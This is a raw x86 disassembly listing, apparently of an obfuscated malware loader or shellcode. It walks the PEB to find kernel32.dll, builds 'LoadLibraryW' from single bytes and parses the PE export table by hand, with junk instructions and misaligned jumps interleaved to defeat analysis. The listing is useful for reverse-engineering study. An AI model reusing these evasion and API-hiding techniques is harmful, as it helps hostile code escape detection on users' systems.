mov byte [ebp - 0x9ca], 0
push ecx
push esi
add esp, 4
xor ecx, 0x15f07
or ecx, 0xfff6
pop ecx
push eax
push ecx
add esp, 4
sub eax, 0x8274
pop eax
push edi
xor edi, 0xddf4
jmp 0x100066be
add edi, 0xc30a
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x19a0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19a4], edx
mov eax, dword [ebp - 0x19a4]
mov dword [ebp - 0x161c], eax
push esi
push eax
add esp, 4
add esi, 0xb633
xor esi, 0x7d2
call 0x10006709
add byte [esi], bh
inc eax
inc edi
inc edx
dec edi
add esp, 4
call 0x1000671a
add byte [0x4044484d], dh
dec ebx
dec edi
cmp eax, dword [ebx - 0x7ca1fb3c]
mov ebp, 0xffffe9e4
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2f4], 0
jmp 0x100069dd
push edx
or edx, 0x16b8c
and edx, 0xee51
call 0x100069f9
add byte [ebp + 0x33], cl
dec ebx
inc esi
xor eax, dword [edi + edi + 0x3c]
xor eax, dword [ebx + 0x565a04c4]
push eax
add esp, 4
or esi, 0xf5a4
jmp 0x10006a0e
pop esi
cmp dword [ebp - 0x2f4], 0
jne 0x10007314
mov eax, 0x6b
mov word [ebp - 0x17a0], ax
mov ecx, 0x65
mov word [ebp - 0x179e], cx
mov edx, 0x72
mov word [ebp - 0x179c], dx
mov eax, 0x6e
mov word [ebp - 0x179a], ax
mov ecx, 0x65
mov word [ebp - 0x1798], cx
mov edx, 0x6c
mov word [ebp - 0x1796], dx
mov eax, 0x33
mov word [ebp - 0x1794], ax
mov ecx, 0x32
mov word [ebp - 0x1792], cx
mov edx, 0x2e
mov word [ebp - 0x1790], dx
mov eax, 0x64
mov word [ebp - 0x178e], ax
mov ecx, 0x6c
mov word [ebp - 0x178c], cx
mov edx, 0x6c
mov word [ebp - 0x178a], dx
xor eax, eax
mov word [ebp - 0x1788], ax
push ecx
or ecx, 0x813d
add ecx, 0x11ab8
xor ecx, 0x102f5
pop ecx
push eax
push ecx
add esp, 4
sub eax, 0xe1a5
and eax, 0x13a92
pop eax
push ebx
push ecx
add esp, 4
and ebx, 0x18635
pop ebx
mov byte [ebp - 0x8a8], 0x4c
mov byte [ebp - 0x8a7], 0x6f
mov byte [ebp - 0x8a6], 0x61
mov byte [ebp - 0x8a5], 0x64
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x69
mov byte [ebp - 0x8a2], 0x62
mov byte [ebp - 0x8a1], 0x72
mov byte [ebp - 0x8a0], 0x61
mov byte [ebp - 0x89f], 0x72
mov byte [ebp - 0x89e], 0x79
mov byte [ebp - 0x89d], 0x57
mov byte [ebp - 0x89c], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19a8], ecx
mov edx, dword [ebp - 0x19a8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19ac], eax
mov ecx, dword [ebp - 0x19ac]
mov dword [ebp - 0x1628], ecx
push ecx
push edi
add esp, 4
xor ecx, 0x10137
add ecx, 0x123fa
or ecx, 0x809b
and ecx, 0x17ded
pop ecx
push esi
and esi, 0x1822f
and esi, 0xe6d9
or esi, 0x172fb
pop esi
cmp dword [ebp - 0x1628], 0
jne 0x10006bb4
mov dword [ebp - 0x778], 0
jmp 0x10006e5b
mov edx, dword [ebp - 0x1628]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd4], ecx
push edx
push ebx
add esp, 4
jmp 0x10006bd3
or edx, 0x163e4
xor edx, 0xcdda
pop edx
push esi
push esi
add esp, 4
sub esi, 0x1214e
and esi, 0x36fa
add esi, 0xbe45
pop esi
cmp dword [ebp - 0xcd4], 0
jne 0x10006c10
mov dword [ebp - 0x778], 0
jmp 0x10006e5b
mov edx, dword [ebp - 0xcd4]
mov dword [ebp - 0x51c], edx
push ebx
sub ebx, 0x91e
add ebx, 0x11e60
pop ebx
push eax
xor eax, 0x20d1
pop eax
push edi
jmp 0x10006c3b
xor edi, 0xad11
add edi, 0xc31c
and edi, 0x13a20
pop edi
lea eax, [ebp - 0x17a0]
mov dword [ebp - 0xcd0], eax
mov ecx, dword [ebp - 0x51c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xccc], edx
xor eax, eax
mov word [ebp - 0x220], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push eax
add eax, 0x89ce
jmp 0x10006c87
pop eax
push eax
push edi
add esp, 4
call 0x10006c9a
add byte [edi], bh
dec ecx
dec edi
xor eax, 0x83443a4e
les eax, [ecx + eax*4]
invalid
push eax
push ebx
add esp, 4
or eax, 0x915f
pop eax
push eax
and eax, 0x3a88
call 0x10006e7d
add byte [ecx + 0x3f], al
xor ecx, dword [ebx + 0x34]
xor esi, dword [esi]
xor al, 0x32
add esp, 4
sub eax, 0xbb7d
sub eax, 0xec47
pop eax
cmp dword [ebp - 0x778], 0
jne 0x10006ed7
push ebx
push eax
add esp, 4
add ebx, 0x10d0
jmp 0x10006eaa
xor ebx, 0x5dd9
or ebx, 0x126d2
pop ebx
push eax
or eax, 0x182b0
jmp 0x10006ec7
pop eax
mov dword [ebp - 0xac0], 0
jmp 0x100079ff
push edi
push edi
add esp, 4
add edi, 0xddcc
and edi, 0x8891
pop edi
push ebx
push ebx
add esp, 4
and ebx, 0x4ef5
jmp 0x10006efc
xor ebx, 0x68d6
sub ebx, 0x1de0
pop ebx
mov ecx, dword [ebp - 0x778]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x1674], eax
cmp dword [ebp - 0x1674], 0
jne 0x10006f48
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], ecx
jmp 0x10007239
mov edx, dword [ebp - 0x1674]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1678], eax
jne 0x10006f70
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], ecx
jmp 0x10007239
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1678]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1680], edx
cmp dword [ebp - 0x1680], 0
jne 0x10006fa2
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], eax
jmp 0x10007239
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [ebp - 0x1680]
mov dword [ebp - 0x77c], ecx
jne 0x10006fc7
mov edx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], edx
jmp 0x10007239
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19b0], ecx
mov edx, dword [ebp - 0x77c]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19b4], eax
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19b8], edx
mov dword [ebp - 0x780], 0
jmp 0x10007021
mov eax, dword [ebp - 0x780]
add eax, 1
mov dword [ebp - 0x780], eax
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x780]
cmp edx, dword [ecx + 0x18]
jae 0x1000722d
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x19b0]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x784], edx
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x19b4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19b8]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19bc], ecx
mov dword [ebp - 0x19c], 0
jmp 0x10007091
mov edx, dword [ebp - 0x19c]
add edx, 1
mov dword [ebp - 0x19c], edx
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x10007143
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x8a8]
test eax, eax
je 0x10007143
push ebx
push ecx
add esp, 4
call 0x100070d2
add byte [edx + 0x3c], al
dec edi
inc edi
cmp al, 0x4b
dec eax
dec edx
add esp, 4
jmp 0x100070dc
call 0x100070ec
add byte [esp + esi + 0x38], al
xor cl, byte ss:[esi + esi + 0x4f]
dec edx
xor al, 0x83
les eax, [ebx + ebx*2]
mov ecx, dword [ebp - 0x784]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x8a8]
cmp edx, ecx
je 0x10007135
mov edx, dword [ebp - 0x784]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x8a8]
cmp eax, edx
jne 0x1000713c
jmp 0x10007082
jmp 0x10007143
push eax
jmp 0x10007149
sub eax, 0x14cbc
call 0x1000715f
add byte [esp + eax*2], dh
dec esp
cmp eax, 0x36454346
xor al, 0x3c
add esp, 4
call 0x10007171
add byte [ebx], dh
xor eax, 0x4e4e4841
dec ebx
push eax
dec esi
add esp, 4
pop eax
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x8a8]
cmp ecx, eax
jne 0x100071a2
mov dword [ebp - 0xcd8], 0
jmp 0x10007211
push ebx
push esi
add esp, 4
xor ebx, 0x12a1
or ebx, 0xdf55
sub ebx, 0xe7a1
pop ebx
push eax
sub eax, 0x14980
jmp 0x100071c7
sub eax, 0x3c65
xor eax, 0xb36f
pop eax
mov ecx, dword [ebp - 0x784]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x8a8]
or ecx, 0x20
cmp edx, ecx
jge 0x10007207
mov dword [ebp - 0xcd8], 0xffffffff
jmp 0x10007211
mov dword [ebp - 0xcd8], 1
cmp dword [ebp - 0xcd8], 0
jne 0x10007228
mov edx, dword [ebp - 0x19bc]
mov dword [ebp - 0x3fc], edx
jmp 0x10007239
jmp 0x10007012
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 0
je 0x10007314
push eax
push ecx
add esp, 4
or eax, 0x14dcd
and eax, 0x10bb5
add eax, 0x61bd
pop eax
push ecx
or ecx, 0x7503
xor ecx, 0x15534
xor ecx, 0x154a6
sub ecx, 0xcdca
pop ecx
mov ecx, dword [ebp - 0x3fc]
mov dword [ebp - 0x19c0], ecx
push ecx
add ecx, 0x14b27
or ecx, 0x2e4
xor ecx, 0x1451d
pop ecx
push edx
sub edx, 0x8463
call 0x100072ac
add byte [esi + 0x45], al
inc ebp
xor al, 0x46
dec eax
xor al, 0x83
les eax, [ecx + eax*4]
ljmp 0x8b5a
push esi
or esi, 0x66cc
jmp 0x10007322
or esi, 0x1132
add esi, 0xa145
pop esi
push esi
jmp 0x10007339
sub esi, 0x16942
add esi, 0xbfc0
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19c8], ecx
mov edx, dword [ebp - 0x19c8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19cc], eax
mov ecx, dword [ebp - 0x19cc]
mov dword [ebp - 0x1684], ecx
push esi
push edx
add esp, 4
and esi, 0x61d
xor esi, 0x12575
add esi, 0xa914
jmp 0x1000738a
pop esi
push edi
and edi, 0x119f2
pop edi
push edi
or edi, 0x113ea
jmp 0x1000739f
pop edi
cmp dword [ebp - 0x1684], 0
jne 0x100073b8
mov dword [ebp - 0x2f4], 0
jmp 0x1000765f
mov edx, dword [ebp - 0x1684]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce4], ecx
push esi
xor esi, 0xc52
or esi, 0x2e9f
and esi, 0x17da2
xor esi, 0x8f18
pop esi
push eax
push edi
add esp, 4
add eax, 0x1625a
or eax, 0xba85
or eax, 0xf908
pop eax
cmp dword [ebp - 0xce4], 0
jne 0x10007414
mov dword [ebp - 0x2f4], 0
jmp 0x1000765f
mov edx, dword [ebp - 0xce4]
mov dword [ebp - 0x520], edx